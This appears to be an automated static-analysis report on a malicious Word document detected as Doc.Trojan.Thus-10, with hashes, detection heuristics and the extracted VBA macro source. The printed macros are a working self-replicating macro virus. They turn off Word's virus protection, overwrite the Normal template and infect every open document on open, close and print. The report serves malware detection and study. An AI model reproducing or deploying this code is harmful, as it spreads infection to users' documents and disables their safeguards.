Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f260e723da0f7d1…

MALICIOUS

Office (OLE)

114.0 KB Created: 2008-12-10 06:10:00 Authoring application: Microsoft Word 8.0 First seen: 2019-03-18
MD5: 60fdfa492baffe729d4d8a7a2d22bc4b SHA-1: c7791853336ee4e8a423bd5ffb4217faecd0c4cc SHA-256: 8f260e723da0f7d14da53ecbe04a05e522ba9dbcdca42a860ad2c5f5b28f867b
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-confidence indicators of maliciousness, including legacy WordBasic macro virus markers and critical ClamAV detections for 'Doc.Trojan.Thus-10'. The VBA macro code, specifically within the Document_Open subroutine, attempts to disable virus protection and modify the NormalTemplate, suggesting an effort to establish persistence or spread to other documents. The script's obfuscation and self-modification attempts are characteristic of macro-based malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16739 bytes
SHA-256: 3465fcb0b556f743154cbeb45e19f0844ce0de3ee64d307f27309c50427362a1
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub













































































































































































Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Copyrights = "The Second, 2000"
  NickName = "Revenger"
  Options.VirusProtection = False
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For i = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    havesave = ActiveDocument.Saved
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Документ") Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нюбин"
    .Replacement.Text = "Нудин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Exe
... (truncated)

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